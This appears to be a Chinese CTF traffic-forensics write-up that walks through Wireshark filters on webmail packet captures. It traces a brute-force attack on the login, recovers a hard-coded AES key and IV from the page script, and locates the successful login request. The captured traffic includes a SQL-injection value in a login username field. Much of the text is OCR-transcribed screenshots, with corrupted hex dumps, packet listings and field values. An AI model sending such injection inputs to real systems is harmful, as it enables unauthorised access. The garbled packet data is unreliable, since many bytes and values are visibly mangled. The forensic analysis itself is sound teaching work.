7/2 75.963251 192.168 192.168 HIP 825 POSI /webmail/index.php?module=operate&action=login&web=1 HIP/1.1 (application/x-www-form	m-urlencoded)	
3140 372.800302 192.168 192.168 HTTP 852 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-for	m-urlencoded)	
3151 373.837428 192.168 192.168 HTTP 724 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-for	m-urlencoded)	
3969 404.111975 192.168 192.168 HTTP 1547 POST /webmail/module/mail/index.php?module=operate&action=mail-save HTTP/1.1		
4033 406.053919 192.168 192.168 HTTP 825 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-for	m-urlencoded)	
4553 424.517858 192.168 192.168 HTTP 646 POST /webmail/module/mail/index.php?module=operate&action=mail-save HTTP/1.1		
4660 432.616410 192.168 192.168 HTTP 583 POST /webmail/module/mail/index.php?module=operate&action=mail-send HTTP/1.1		
4957 470.920349 192.168 192.168 HTTP 1123 POST /webmail/module/mail/index.php?module=operate&action=mail-send HTTP/1.1		
5060 478.115041 192.168 192.168 HTTP 716 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-for	m-urlencoded)	
5786 533.728319 192.168 192.168 HTTP 1111 POST /webmail/module/mail/index.php?module=operate&action=mail-send HTTP/1.1		
> Frame 21/: 945 bytes on wire (/560 bits), 945 bytes captured (/560 bits)		
> Ethernet 11, SrC: Hangzhou_39:42:ed (b0:H9:65:39:42:ed), DS:T: VMWare_2d:e4:66 (00:00:29:2d:e4:66)		
> Internet Protocol Version 4, Src: 192.168.94.131, UST: 192.168.32.187		
> Iransmission Control Protocol, Src Port: 55953, Dst Port: 80, Seq: 592, Ack: 320, Len: 891		-
> Hypertext Transfer Protocol		
HIML Form UKL Encoded: application/x-www-form-urlencoded		
> Form item: "username" = "wenwenni"		
> Form item: "domain" = "test.com"		
> Form item: "password" = "3oUuaEG4ux6xKD3RZ1iSew=="		
> Form item: "language" = "zh_CN"		
> Form item: "remuser" = "1"		
> Form item: "enter" = "true"		
0000 00 0c 29 2d e4 66 b0 f9 63 39 42 ed 08 00 45 00 ·······E·		^
0010 03 a3 64 f2 40 00 7f 0€ 92 d3 c0 a8 5e 83 c0 a8 · · · d·@· · • · · · · ·		
0020 20 bb da 91 00 50 4c 96 8b 83 1c 03 99 +5 50 18PLP.		
0030 3f d8 69 a4 00 00 50 4f 53 54 20 2f 77 65 62 6d 2.1PO ST /webm		
0040 61 69 6c 2f 69 6e 64 65 78 2e 70 68 70 3f 6d 6f ail/inde x.php?mo		
0050 64 /5 6c 65 3d 6f /0 65 /2 61 /4 65 26 61 63 /4 dule=ppe rate&act		
000 40 54 54 50 27 51 28 51 00 00 40 07 75 74 50 20 mil/fill - nost:		
000 31 35 32 22 31 30 38 22 53 32 22 31 30 37 00 00 192.100, 32.107 **		
20 61 6c 69 76 65 70 8a 43 6f 67 74 65 6e 74 2d - alive-: Content-		
00b0 4c 65 6e 67 74 68 3a 20 31 30 37 0d 0a 43 61 63 Length: 107 (ac		
00c0 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d he-Contr ol: max-		
00d0 61 67 65 3d 30 0d 0a 4f 72 69 67 69 6e 3a 20 68 age=00 rigin: h		
00e0 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 33 32 ttp://19 2.168.32		
00f0 2e 31 38 37 0d 0a 55 70 67 72 61 64 65 2d 49 6e .187 Up grade-In		
0100 73 65 63 75 72 65 2d 52 65 71 75 65 73 74 73 3a secure-R equests:	CODI-Girbourd	~
🕒 🍸 mailteo.poap	分组: 418303 ・ 已显示: 11891 (2.8%) しちじい ピリ 調査: Defe	ült

从上图可知,发现很多登录的流量,打开流量查看可以发现尝试的密码很像 base64,但 base64 是编码格式,不是加密,因此考虑的这方面类似加密结果的加密方式,只有一种可能,那就是AES加密。那么,如果是AES加密,就需要找到对应的key和iv偏移量。

此时,还是需要再次重新过滤流量,获取新的信息,那么就继续过滤 http 的流量,同时加上状态码为 200 的过滤关键字。

http.response.code==200

a mailtwo.pcap		– 🗆 ×
文件(F) 編輯(E) 视图(V) 跳转(G) 捕获(C) 分析(A) 统计(S) 电话(Y) 无线(W) 工具(T) 帮助(H)		
📶 🔲 🍠 🕒 🔁 🔁 🗣 👄 🕾 🖉 🗮 📃 🔍 Q. Q. Q. X.		
http:/response.code=200		🛛 ➡ ▼ 表达式… +
No. Time Source Destination Protocol Length Info		^
- 35 4.702228 192.168 192.168 HTTP 59 HTTP/1.1 200 0K (text/html)		
44 6.048428 192.168 192.168 HTTP 368 HTTP/1.1 200 0K (text/html)		
49 6.336430 192.168 192.168 HTTP 373 HTTP/1.1 200 0K (text/html)		
224 31.215697 192.168 192.168 HTTP 1148 HTTP/1.1 200 0K (text/html)		
279 31.815254 192.168 192.168 HTP 859 HTP/1.1 200 0K (text/html)		
296 31.998702 192.168 192.168 HTP 1053 HTP/1.1 200 0K (text/html)		
301 32.037516 192.168 192.168 HTP 549 HTTP/1.1 200 0K (text/html)		
366 32 071282 192 168 192 168 HTTP 382 HTTP/1 1 200 ((ctrat/html))		
318 32 117997 192 168 192 168 HTTP 59 HTTP/1 2 00 0 ((text/html)		
333 32 439167 192 168 192 168 HTTP 463 HTTP/1 200 00 ((text/html)		
334 35 47566 192 158 192 158 HTTP 1455 HTTP/11 200 K (cert/itma)		
MA 57 57 57 500 101 40 40 40 40 100 100 100 100 100 1		~
\n		^
var loginCheck = function(form) {\n		
if(form.username.value == "") {\n		
alert("\351\202\256\344\273\266\345\270\220\345\217\267\344\270\215\350\203\275\344\270\272\347\251\272\357\274\201");\n		
form.username.focus();\n		
return false;\n		
}\n		
if(form.password.value == "") {\n		
alert("\347\231\273\345\275\225\345\275\226\347\240\201\344\270\215\350\203\275\344\270\272\357\274\201"):\n		
form.password.focus():\n		
peturn false:\n		
\t\n		
\t\\\ran key hash = CryntolS_MD5('1234567812345678').\n		
thit was be constant ansafew hash in		
thitten is a press and the page (123/55/8123/55/81) in		
\t\\form nessword value = (rvntolS AFS encrynt/form nessword value key { iv: iv mode:(rvntolS mode (RC nadding:(rvntolS nad ZeroPadding)):)n		
<		>
23d0 61 73 68 29 3b 0a 09 09 76 61 72 20 69 76 20 ash): ···· var iv		^
23e0 20 3d 20 43 72 79 70 74 6f 4a 53 2e 65 6e 63 2e = Crypt o35.enc.		
23f0 55 74 66 38 2e 70 61 72 73 65 28 27 31 32 33 34 Utf8.par se(*1234		
2400 35 36 37 38 31 32 33 34 35 36 37 38 27 29 3b 0a 56781234 5678');·		
2410 09 09 09 66 6f 72 6d 2e 70 61 73 73 77 6f 72 6d ···form. password		
2420 2e 76 61 6c 75 65 20 3d 20 43 72 79 70 74 6f 4a .value = Cryptol		
2430 53 2e 41 45 53 2e 65 6e 63 72 79 70 74 28 66 6f S.AES.en crypt(fo		
2440 72 6d 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 mm.passw ord.valu		
2450 65 2c 20 6b 65 79 2c 20 7b 20 69 76 3a 20 69 76 e, key, { iv: iv		
2460 2c 6d 6f 64 65 3a 43 72 79 70 74 6f 4a 53 2e 6d ,mode:Cr yptoJS.m		
24/0 6f 64 65 2e 43 42 43 2c /0 61 64 64 69 6e 6/ 3a ode.CBC, padding:		
2480 43 /2 /9 /8 /4 bt 4a 53 /2 / 8 bt 64 /2 5a 65 /2 (ryptols, pad./en		
2490 bt 50 bl 64 64 69 be b/ 70 29 30 88 99 99 70 88 0P3001g };		
Frame (59 bytes) Reassabled TCF (10621 bytes) De-chunked entity body (10296 bytes)		
● 🗭 Text item (text), 58 字节	分组: 418303 · 已昂示: 16805 (4.0%)	CSDN @Jonnny G
		Press.

从上图中发现,我们随机打开一个流量,查看里面的信息,可以看到里面有我们需要的key和iv偏移量。

MD5加密后的key: var key_hash = CryptoJS.MD5('1234567812345678');

key: var key = CryptoJS.enc.Utf8.parse(key_hash);

iv偏移量: var iv = CryptoJS.enc.Utf8.parse('1234567812345678');

紧接着尝试过滤 http

	- a ×
■ Instituto,peap	D 7
Attp	
No. Time Source Destination Protocol Length Info	^
* 32.2581/8 192.168 192.168 HIP 680 GET /webmai/index.php?module=operate&action=logout HIP/1.1	
- 5 2.300323 192.168 11P 455 H11P/1.1 302 Found (text/html)	
103.515169 192.108 202.103 HTTP /15 POST / 50 POST	coded)
11.5.344250 202.105 192.106 nife 345 nife/iii 301 moved vermanentity (text/num1)	
20 5.500010 192.100 202.105 niir / 15 r051 / 50 ammeso1/errws/spameso1/errws.air/conewequest niir/1.1 (dpp1/cdi.D01/x-www-rorm-urlen	coded)
* 20 + 0.00009 192-100 192-100 ITT	
25 4.702220 192.100 192.100 197.100 117 55 FTT / Jabo (CECK/TELL)	
42 0.012445 192.100 192.100 197.100 101 300 CL (WEDWIGHT / 1002.1011001.1002.1002.0000.0000.000	
49 0.00020 122.100 122.100 11 5.100 11 5.100 11 5.00 0K (EKC/ILLI)	
49 6 33638 192 168 192 188 HTTP 373 HTTP/1 200 K (fayt/html)	
	- L N
Request Version: HTTP/1.1	^
Host: 192.168.32.187\r\n	
Connection: keep-alive\r\n	
Upgrade-Insecure-Requests: 1\r\n	
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36\r\n	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n	
Referer: http://192.168.32.187/webmail/index.php\r\n	
Accept-Encoding: gzip, deflate\n\n	
Accept-Language: zh-CN,zh;q=0.9\r\n	
Cookie: login_domain=test.com; PHPSESSID=csm2kh9f3kjqsft1n17ft7dk95; SL_G_WPT_TO=zh-CN; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1; login_name	wenwenni\r\n
Cookie pair: login_domain=test.com	
Cookie pair: PHPSESSID=csm2kh9f3kjqsft1n17ft7dk95	
Cookie pair: SL_G_WPT_TO=zh-CN	
Cookie pair: SL_GWPT_Show_Hide_tmp=1	
Cookie pair: SL_wptGloblipTmp=1	
Cookie pair: login_name=wenwenni	
L FULL REQUEST UKL: DTTD:///YY.1bX.32.18//WPDMB11/100PX.DDD?MODULE=DPPCATEWACTION=LOPOUTL	
0020 02 Ja 06 70 07 00 59 04 00 59 04 05 05 00 00 00 00 00 00 00 00 00 00 00	
0030 3f 47 b4 b7 00 00 47 45 54 20 2f 77 65 62 6d 61 2G. GET /webma	
0040 69 6c 2f 69 6e 64 65 78 2e 70 68 70 3f 6d 6f 64 il/index .php?mod	
0050 75 6c 65 3d 6f 70 65 72 61 74 65 26 61 63 74 69 ule=oper ate&acti	
0060 6f 6e 3d 6c 6f 67 6f 75 74 20 48 54 50 2f 31 on=logou t HTTP/1	
0070 2e 31 0d 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 .1. Host : 192.16	
0000 38 2e 33 32 2e 31 38 37 00 08 43 bt be be bb b3 8.32/187 ··Connec	
00b0 72 65 2d 52 65 71 75 65 73 74 73 3a 20 31 0d 0a re-Reque sts: 1.	
00c0 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 User-Age nt: Mozi	
00d0 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 11a/5.0 (Windows	
00e0 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 29 20 NT 6.1; WOW64)	
0010 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e AppleWeb Kit/537.	
23 35 20 28 40 48 54 4a 4c 2c 20 6c 69 6b 65 20 36 (KHIM L, like	CSDN @Johnny.G
malityc.pcsp	対視: 416303 ・ 已発示: 160503(38,4%) 翻書: Default

通过上图发现,过滤 http 后中的第一个流量就是服务器获取的登录表单信息,同时呢,这个流量中有一个 logout 的关键字,说 明是刚刚退出登录,加入里面有账号信息,那么这就是登录 mail 的账号,那么,查看里面的信息发现在Cookie里面有登录 mail 的账号: wenwenni。

当我们知道 mail 的账号是 wenwenni, 那么后面就需要查询账号是 wenwenni 的情况下登陆成功后所返回的值,这样才有机会通 过关键字过滤, 从而查询出对应的正确登录密码。

因此,通过账号为 wenwenni 和状态码为 200 作为过滤关键字进行再次过滤

http contains "wenwenni" or http contains 200

a mailtwo.pcap		- D X
文件(F) 編輯(E) 视图(V) 跳秧(G) 捕获(C) 分析(A) 统计(S) 电话(V) 无线(W) 工具(T) 鞣助(H)		
📶 📰 🖉 🐵 📘 🖻 🕱 🐵 🕸 😨 🕸 🕎 🗮 🔍 Q. Q. A. A		
http contains "wenwenni" or http contains 200		▲ 🖘 表达式… 🕇
No. Time Source Destination Protocol Length Info		^
☐ 3 2.258178 192.168 192.168 HTTP 680 GET /webmail/index.php?module=operate&action=logout HTTP/1.1		
28 4.656359 192.168 192.168 HTTP 676 GET /webmail/index.php?module=view&action=login HTTP/1.1		
35 4.702228 192.168 192.168 HTTP 59 HTTP/1.1 200 OK (text/html)		
42 6.012645 192.168 192.168 HTTP 658 GET /webmail/index.php?module=view&action=login&mode=browser&width=1366&height=768 HTTP/1.1		
44 6.048428 192.168 192.168 HTTP 368 HTTP/1.1 200 OK (text/html)		
47 6.301315 192.168 192.168 HTTP 645 GET /webmail/index.php?module=operate&action=checkss1&domain=test.com HTTP/1.1		
49 6.336430 192.168 192.168 HTTP 373 HTTP/1.1 200 OK (text/html)		
217 31.094931 192.168 192.168 HTTP 945 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded)		
219 31.135365 192.168 192.168 HTTP 577 HTTP/1.1 302 Found (text/html)		
220 31.175161 192.168 192.168 HTTP 702 GET /webmail/index.php HTTP/1.1		
224 31.215697 192.168 192.168 HTTP 1148 HTTP/1.1 200 0K (text/html)		
[content length: 16]		
Connection: Rep-alive (r/n		
Explores: Huy 19 Hov 1961 00:32:00 GHI (17)1		
Cache-Control: no-Score, no-Cache, must-revaluate, post-check=0, pre-check=0/r\n Posone: po. cscholvlo		
ringging, no-cache(r)(n		
V:VI [HTTD personne 3/10]		
[Time response 5/20] [Time since neurost: 0.035783000 seconds]		
[Phase same request. or oppositions]		
Interreport an informer asi		
[Request in frome. 42]		
Insurance and the main test		
Inset records in frame: 201		
Instant Control and Control an		
File Data: 16 hytes		
<pre>v line-hased text data: text/html (1 lines)</pre>		
{"success":thue}		
		~
0070 31 38 20 30 36 3a 33 34 3a 34 30 20 47 4d 54 0d 18 06:34 :40 GMT		^
0080 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 ·Content -Type: t		
0090 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 ext/html; charse		
00a0 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 t=utf-8· Content		
00b0 2d 4c 65 6e 67 74 68 3a 20 31 36 0d 0a 43 6f 6e -Length: 16Con		
Vecco be b5 b5 /4 b9 bf be 3a 20 bb b5 b5 /0 2d b1 bc nection: Keep-al		
0000 05 / 0 05 00 08 45 / 0 / 0 09 / 2 05 / 5 38 20 54 00 IVE* CRD ITES: IN		
0440 33 3a 35 32 3a 30 30 20 47 4d 54 0a 43 61 53 120 50 13 120 50 10 0 0ML (ar		
0100 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 he-Contr ol: no-s		
0110 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 tore, no -cache,		
0120 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c must-rev alidate,		
0130 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 post-ch eck=0, p		
0140 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 50 72 61 67 re-check =0. Prag		
010 22 75 75 65 65 75 75 22 38 74 72 75 57 78 { Succes s :(fue)		
● 7 Inst iten (text). 16 辛労	分组: 418303 · 已第示: 21806 (5.2%)	CSDN @Jakiny.G.
		and the second se

从上图可以看出此流量为某个成功登录后所返回的值,编号为44,那么接下来就是再看看这个流量的前一个流量是什么。

📕 mailtwo.pcap		- 0	×
文件(F) 編輯(E) 规则(V) 2014年(G) 捕获(C) 分析(A) 統計(S) 电活(V) 无线(W) 工具(T) 帮助(H)			
http contains "venwenzi" or http contains 200			:式… +
No. Time Source Destination Protocol Length Info			^
3 2.258178 192.168 192.168 HTTP 680 GET /webmail/index.php?module=operate&action=logout HTTP/1.1			
28 4.656359 192.168 192.168 HTTP 676 GET /webmail/index.php?module=view&action=login HTTP/1.1			
35 4.702228 192.168 192.168 HTTP 59 HTTP/1.1 200 0K (text/html)			
++ 42.6.012645 192.168 192.168 HIIP 658 GET /webmail/index.php?module=view&action=login&mode=browser&width=1366&height=/68 HIIP/1.1			
4 44.5.4948426 192.168 192.168 HIP 508 HIP/1.1 200 0K (TeXT/NTM)			
4/ 5.30135 192.168 192.168 HIP 645 GET / WeeDMail/Landex.ppp/module=operate&action=cneckss1&domain=test.com HIP/1.1			
470.50490 192.100 192.100 1117 5/5 1117/1.1 200 04 (LEX/1011)			
21/31/034931 132:100 192:100 117 949 rost /webmail/linex.php:module-operatexaction-rogineweb-1 mir/111 (application/x-www-form-orienteded)			
220 31 175161 192 168 192 168 HTTP 702 GFT / upbmail / index nhn HTTP / 1			
224 31-21569 192-168 HTTP 1148 HTTP/1.1 200 0K (fext/html)			
A NATEL			×
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36\r\n			^
Referer: http://192.168.32.187/webmail/index.php?module=view&action=login\r\n			
Accept-Encoding: gzip, deflate\r\n			
Accept-Language: zh-CN,zh;q=0.9\r\n			
Cookie: login_domain=test.com; PHPSESSID=csm2kh9f3kjqsftln17ft7dk95; SL_G_WPT_T0=zh-CN; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1; login_name=wenwenni\r\n			
Cookie pair: login_domain=test.com			
Cookie pair: PHP5ESSID=csm2kh9f3kjqs+tln1/tt/dk95			
Cookie pair: SL_WM/_SNOW_HIGE_TMP=1			
COOKIE PAIN: IORIN HAIME-Wernwenni			
V.VV [Eu]] naguest URT: http://192.168.32.187/webmail/index.php?modulawview&artion=login@modeshnowcan&width=13668hainh=768]			
[HTP request 3/10]			
[Prev request in frame: 28]			
Response in frame: 44			
[Next request in frame: 295]			
			~
0000 00 0c 29 2d e4 66 b0 f9 63 39 42 ed 08 00 45 00 ······························			^
0010 02 84 63 24 40 00 7f 06 95 c0 c0 a8 5e 83 c0 a8 ···\$€·····^···			
2020 20 bb da 92 00 50 df 48 8c d0 53 d7 a5 2f 50 18P.HS/P.			
40 27 d1 fd 00 00 47 45 54 20 2f 77 65 62 6d 61 @ ···· €E T /webma			
0040 09 00 2 7 09 00 04 05 70 20 00 70 57 00 07 05 01 00 10 4 11/11002X JPhysmol			
2050 6 6 67 69 69 26 6d 6f 46 53 d 62 72 6f 77 73 loging debrows			
0070 65 72 26 77 69 64 74 68 3d 31 33 36 36 26 68 65 er&width =1366&he			
0080 69 67 68 74 3d 37 36 38 20 48 54 54 50 2f 31 2e ight=768 HTTP/1.			
0090 31 0d 0a 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 1. Host: 192.168			
2010 2e 33 32 2e 31 38 37 0d 0a 43 6f 6e 6e 65 63 74 .32.187 · Connect			
2010 5 5 7 17 5 5 7 17 6 5 4 2 5 7 0 7 6 8 3 2 8 2 1 2 8 0 0 5 5 2 1 - A - A - A - A - A - A - A - A - A -			
00e0 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 0d 0a XMLHttpR equest			
00f0 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 User-Age nt: Mozi			
0100 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 1la/5.0 (Windows		SDN-@lok	inny.G*
🕒 🝸 sailtro. pop	分组: 418303 · 已显示: 21806 (5.2%)	87	h: Default

从上图中可以看出,编号为42的流量是刚刚查询出的编号44的流量的前一个流量,同时使用的 mail 的登录账号也刚好 是 wenwenni,因此可以得知登陆成功的关键字是 {"success":true}。

接下来,通过所得知的黑客 IP 、提交表单常用的 POST 关键字、以及刚刚得知的登陆成功返回的值,作为我们过滤的关键字进行 过滤。

a nanwo,pap	B //
文件(F) 編織(E) 视聞(V) 跳转(G) 捕获(C) 分析(A) 统计(S) 电话(V) 无线(W) 工具(T) 帮助(H)	
🖌 🔲 🖉 🕒 🔄 🔁 🐨 😌 🖉 🖉 💆 🚍 🔳 🔍 Q. Q. Q. 🖽	
(http contains "{\"success\" true}" or http.request.method="FOST") and ip.addr=192.168.94.59	▲ → ★达式… +
Time Source Destination Protocol Length Tais 52221 3305.942_192.168_1 192.168 <th></th>	
52304 3306.455_ 192.168 192.168 HTTP 527 POST /webmail/admin/index.php?action=login&module=admin&return=/webmail/admin/index.php HTTP/1.1 (application/x-www-form=urlencoded)	
+ 52312 3306.542 192.168 192.168 HTTP 663 POST /webmail/admin/index.php?action=login&module=admin&return=/webmail/admin/index.php HTTP/1.1 (application/x-www-form-urlencoded)	
52314 3306.542_ 192.168 HTTP 614 POST /webmail/admin/index.php?action=login&module=admin&return=/webmail/admin/index.php HTTP/1.1 (application/x-www-form-urlencoded)	
> Frame 52312: 663 bytes on wire (5304 bits), 663 bytes captured (5304 bits) > Ethernet II, Src: Hangzhou_39:82:ed (00:99:63:39:42:ed), Dit: Vmware_20:e4:66 (00:0c:29:2d:e4:66) > Internet Protocol Version 4, Src: 192.168.94:59, Dist: 192.168.92.87) > Insansission Control Protocol, Src Port: 13321, Dst Port: 80, Seq: 12103, Ack: 35075, Len: 609 > Hypertext Transfer Protocol > HUL Erond e1: application/x-www-form-urlencoded	
> Form item: "domain" = "test.com"	
> Form item: "password" = "g004P455w0+D" > Form item: "type" = "deptadmin" > Form item: "username" = "-1' OR 2+553-553-1=0+0+0+1 "	
0010 02 89 65 72 40 90 77 66 93 35 c0 a8 5e b c0 a8 ···ee ··· ·5···5··· 0020 02 0b b3 40 90 85 96 47 33 5 c0 a8 5e b c0 a8 ···ee ··· ·5···5··· 0021 00 b1 31 00 90 59 47 53 5 4 29 27 77 55 52 66 ···ee ··· ·5··· 0030 00 41 30 d3 90 90 59 47 53 54 29 27 77 55 52 66 ···ee ··· ·5··· 0030 01 50 27 61 61 63 74 69 66 9 62 75 05 62 ···ee ··· ·5··· 0030 01 40 70 37 16 13 74 69 67 69 36 64 67 35 02 all/admin /ndex. 00300 04 61 69 62 75 62 66 06 30 62 76 12 64 moltani /ndex. 00300 04 61 64 75 62 66 73 60 66 92 62 72 63 moltani /ndex. 00300 04 62 62 76 16 64 66 78 02 67 80 72 8 moltani /ndex. 00300 64 69 62 76 16 64 78 06 67 78 02 68 77 80 74 80 min./ndex. moltani /ndex. 00300 64 69 62 76 16 64 77 56 62 74 65 78 02 66 77 71 71 /1.1·· Content- moltani /ndex. 00300 64 59 64 74 65 63 20 04 63 36 66 74 62 68 72 20 10 /1.1·· Content- moltani /ndex. 00300 74 65 66 74 24 54 79 70 70 26 32 a0 24 17 77 22 (atol 77 / 2 catol 77 /	
Affe. area a transfer to a tra	CSDN @Jonny.G

从上图可以看出,通过过滤语句查询第一个流量包 mailtwo 的时候,都是一些爆破的流量,没有我们需要的东西。 那么接下来就通过过滤语句查询第二个流量包 mailtwo1。

amailtwo1.pcap		- 0 ×
文件(F) 編輯(E) 视图(V) 跳转(G) 捕获(C) 分析(A) 统计(S) 电活(Y)	无线(W) 工具(T) 帮助(H)	
■ ∅ 💿 📴 🖾 🕱 🖆 🔍 ⇔ ⇔ 🕾 🖗 📃 📃 🔍 Q, G		
(http contains "{\"success\":true}" or http.request.method="POST") and	ip. addr=192. 168. 94. 59	
Bo. Time Source Destination Protocol Length 5948 59.116897 192.168 192.168 HTTP 368 14463 110.089310 192.168 HTTP 368 14426 10.10.89310 192.168 HTTP 856 15830 150.172017 192.168 192.168 HTTP 368 17126 165.477301 192.168 192.168 HTTP 847 11245 155.20124 192.168 192.168 HTTP 847 11245 155.20124 192.168 192.168 HTTP 368 35485 351.998496 192.168 192.168 HTTP 368	inio TTP/1.1 200 OK (text/html) OST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded) OST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded) (TTP/1.1 200 OK (text/html) OST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded) [TCP Spurious Retransaission] POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded) [TCP Spurious Retransaission] POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded) [TCP ACKed unseen segment] [TCP Previous segment not captured] HTTP/1.1 200 OK (text/html) [TCP ACKed unseen segment] HTTP/1.1 200 OK (text/html)	a)
> Frame 18152: 368 bytes on wire (2944 bits), 368 bytes > Ethernet II, Src: Wmware_2d:e4:66 (00:06:29:2d:e4:66), > Internet Protocol Version 4, Src: 192.168.32.187, Dst: > Transmission Control Protocol, Src Port: 80, Dst Port:	captured (2944 bits) Dst: Hangzhou_39:42:ed (b0:f9:63:39:42:ed) 192.168.94.59 1933, Seq: 12049, Ack: 2339, Len: 314	
> Hypertext Transfer Protocol		
Line-based text data: text/html (1 lines)		
0000 b0 f9 63 39 42 ed 00 0c 29 2d e4 66 08 00 45 00		^
$ \begin{array}{cccccccccccccccccccccccccccccccccccc$	^y, P6m 9 . B _ ? YP. HT TP/1.1 2 00 K/: 5 event: n ginx/1.5 . 0-Date : Wed, 08 Aug 20 18 08:23 :12 GMT. .Content Type: t ext/html; charse tutf.3 content type: t extl/html; charse tutf.3 tutf.3 .Content type: t estif.10 .content .empth: 16Con nection: Keep-al iveExp inses: Th u, 19 No v 1981 0 8:52:00 GMTCac	
0100 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73	he-Control: no-s	CSDN-@loghny.g.
w mairiwol. pôsp	7991: 1894/92 · E	12-1. 0 (0.0%) 首位: Default

通过查看流量里面的信息,最后两个流量都是表示成功登录的流量,那么倒数第三个流量里面的信息,就包含我们所需要的密码 (登陆成功就不会继续)。

mailtwo1.pcap	– a ×
文件(F) 編織(F) 機関(V) 訓練(G) 捕获(C) 分析(A) 统计(S) 电话(Y) 无线(W) 工具(T) 報助(H)	
🛋 🔳 🔬 🛛 📘 🖾 🗙 🖾 🔍 🗢 🗠 🗟 🐺 🛓 🧮 🔍 🔍 🔍 🏛	
(http contains "{\"success\":true}" or http:request.method="POST") and ip.add==192.180.94.59	
No. Time Source Destination Protocol Length Info	
5948 50.116897 192.168 192.168 HTTP 368 HTTP/1.1 200 OK (text/html)	
14463 110.089310 192.168 192.168 HTTP 839 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded)	
14826 130.173594 192.168 192.168 HTTP 865 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded)	
15830 150.172017 192.168 192.168 HTTP 368 HTTP/1.1 200 OK (text/html)	
+ 17126 165.477301 192.168 192.168 HTTP 847 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencoded)	
+ 17194 165.820184 192.168 192.168 HTTP 847 [TCP Spurious Retransmission] POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-www-form-urlencode	ed)
18152 170.679536 192.168 192.168 HTTP 368 [TCP ACKed unseen segment] [TCP Previous segment not captured] HTTP/1.1 200 0K (text/html)	

35485 351.998496 192.168 192.168 HTTP 368 [TCP ACKed unseen segment] HTTP/1.1 200 OK (text/html)		
Seame 17194: 847 butes on vine (6776 hits) 847 butes cantured (6776 hits)		
Friende LLSet, der bytes off wire (0770 blts), der bytes calutation (0770 blts), Bethennet LLSet, Hanzhou 39742;ed (bet/963-3942;ed), Dst: Wmware 2d:e4:66 (00:0c:29:2d:e4:66)		
Internet Protocol Version 4. Src: 192.168.94.59. Dst: 192.168.32.187		
> Transmission Control Protocol, Src Port: 13933, Dst Port: 80, Sea: 490, Ack: 320, Len: 793		
> Hypertext Transfer Protocol		
✓ HTML Form URL Encoded: application/x-www-form-urlencoded		
> Form item: "username" = "admin"		
> Form item: "domain" = "test.com"		
<pre>> Form item: "password" = "+ZgE14UGcFcyRGLI0/ZXPQ=="</pre>		
> Form item: "captcha" = "OC87"		
<pre>> Form item: "language" = "zh_CN"</pre>		
> Form item: "enter" = "true"		
00000 00 00 20 2d e4 66 60 49 53 39 42 ed 08 00 45 00 ····+··· 99···E·		^
0010 03 41 40 00 40 00 71 00 D1 41 00 40 50 51 20 00 40 747 (m ⁻¹), (m ⁺¹		
030 00 43 fd 72 00 00 55 4f 53 54 20 2f 77 65 62 6d - C-rPO ST //webm		
0040 61 69 6c 2f 69 6e 64 65 78 2e 70 68 70 3f 6d 6f ail/inde x.php?mo		
0050 64 75 6c 65 3d 6f 70 65 72 61 74 65 26 61 63 74 dule=ope rate&act		
0060 69 6f 6e 3d 6c 6f 67 69 6e 26 77 65 62 3d 31 20 ion=logi n&web=1		
0070 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 HTTP/1.1 -Host:		
0080 31 39 32 2e 31 36 38 2e 33 32 2e 31 38 37 0d 0a 192.168 32.187		
0090 43 bt be be b5 b5 /4 b9 bt be 3a 20 b0 b5 b5 /0 Connection: Reep		
00c0 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d he-Contr ol: max-		
